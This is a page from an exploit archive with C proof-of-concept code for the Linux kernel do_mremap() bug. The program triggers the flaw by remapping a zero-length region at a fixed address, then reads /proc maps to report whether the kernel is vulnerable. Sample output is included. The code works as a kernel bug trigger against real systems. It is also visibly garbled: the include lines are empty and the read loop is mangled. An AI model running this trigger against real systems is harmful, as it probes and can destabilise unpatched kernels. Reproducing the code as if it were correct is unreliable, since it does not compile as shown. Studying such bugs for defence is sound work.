Linux Kernel "do_mremap" Local Proof of Concept II

    
 
/* 
                              * Proof of concept code for testing do_mremap() Linux kernel bug.
                              * It is based on the code by Christophe Devine and Julien Tinnes
                              * posted on Bugtraq mailing list on 5 Jan 2004 but it's safer since 
                              * it avoids any kernel data corruption.
                              *
                              * The following test was done against the Linux kernel 2.6.0. Similar 
                              * results were obtained against the kernel 2.4.23 and previous ones.
                              *
                              * [email protected]:~$ gcc -o mremap_bug mremap_bug.c
                              * [email protected]:~$ ./mremap_bug
                              *
                              * Base address : 0x60000000
                              * 
                              * 08048000-08049000 r-xp 00000000 03:03 2694       /home/buffer/mremap_bug
                              * 08049000-0804a000 rw-p 00000000 03:03 2694       /home/buffer/mremap_bug
                              * 40000000-40015000 r-xp 00000000 03:01 52619      /lib/ld-2.3.2.so
                              * 40015000-40016000 rw-p 00014000 03:01 52619      /lib/ld-2.3.2.so
                              * 40016000-40017000 rw-p 00000000 00:00 0
                              * 40022000-40151000 r-xp 00000000 03:01 52588      /lib/libc-2.3.2.so
                              * 40151000-40156000 rw-p 0012f000 03:01 52588      /lib/libc-2.3.2.so
                              * 40156000-40159000 rw-p 00000000 00:00 0
                              * 60000000-60002000 rw-p 00000000 00:00 0
                              * bfffd000-c0000000 rwxp ffffe000 00:00 0
                              * 
                              * Remapping at 0x70000000...
                              * 
                              * 08048000-08049000 r-xp 00000000 03:03 2694       /home/buffer/mremap_bug
                              * 08049000-0804a000 rw-p 00000000 03:03 2694       /home/buffer/mremap_bug
                              * 40000000-40015000 r-xp 00000000 03:01 52619      /lib/ld-2.3.2.so
                              * 40015000-40016000 rw-p 00014000 03:01 52619      /lib/ld-2.3.2.so
                              * 40016000-40017000 rw-p 00000000 00:00 0
                              * 40022000-40151000 r-xp 00000000 03:01 52588      /lib/libc-2.3.2.so
                              * 40151000-40156000 rw-p 0012f000 03:01 52588      /lib/libc-2.3.2.so
                              * 40156000-40159000 rw-p 00000000 00:00 0
                              * 60000000-60002000 rw-p 00000000 00:00 0
                              * 70000000-70000000 rw-p 00000000 00:00 0
                              * bfffd000-c0000000 rwxp ffffe000 00:00 0
                              * 
                              * Report :
                              * This kernel appears to be VULNERABLE
                              *
                              * Segmentation fault
                              * [email protected]:~$
                              */

                              #define _GNU_SOURCE

                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 

                              #define MREMAP_FIXED    2

                              #define PAGESIZE 4096
                              #define VMASIZE  (2*PAGESIZE)
                              #define BUFSIZE  8192

                              #define __NR_real_mremap __NR_mremap

                              static inline _syscall5( void *, real_mremap, void *, old_address,
                              size_t, old_size, size_t, new_size,
                              unsigned long, flags, void *, new_address );

                              #define MAPS_NO_CHECK 0
                              #define MAPS_CHECK    1

                              int mremap_check = 0;

                              void maps_check(char *buf)
                              {
                              if (strstr(buf, "70000000"))
                              mremap_check++;
                              }

                              void read_maps(int fd, char *path, unsigned long flag) 
                              {
                              ssize_t  nbytes;
                              char     buf[BUFSIZE];

                              if (lseek(fd, 0, SEEK_SET)  0) {

                              if (flag & MAPS_CHECK)
                              maps_check(buf);

                              if (write(STDOUT_FILENO, buf, nbytes) != nbytes) {
                              fprintf(stderr, "Unable to read %s\n", path);
                              exit (1);
                              }
                              }
                              }

                              int main(int argc, char **argv)
                              {
                              void     *base;
                              char     path[16];
                              pid_t    pid;
                              int      fd;

                              pid = getpid();
                              sprintf(path, "/proc/%d/maps", pid);

                              if ( !(fd = open(path, O_RDONLY))) {
                              fprintf(stderr, "Unable to open %s\n", path);
                              return 1;
                              }

                              base = mmap((void *)0x60000000, VMASIZE, PROT_READ | PROT_WRITE,
                              MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);

                              printf("\nBase address : 0x%x\n\n", base);
                              read_maps(fd, path, MAPS_NO_CHECK);

                              printf("\nRemapping at 0x70000000...\n\n");
                              base = real_mremap(base, 0, 0, MREMAP_MAYMOVE | MREMAP_FIXED,
                              (void *)0x70000000);

                              read_maps(fd, path, MAPS_CHECK);

                              printf("\nReport : \n");
                              (mremap_check) 
                              ? printf("This kernel appears to be VULNERABLE\n\n")
                              : printf("This kernel appears to be NOT VULNERABLE\n\n");

                              close(fd);
                              return 0;
                              }

                              

 F-VNS Security™  Audits de Sécurité & Tests Intrusifs Mailing Listes Advisories  Service Publicitaire

Tous droits réservés © 2002-2004 K-OTiK Security Voir Notice Légale   

actualité informatique  Exploits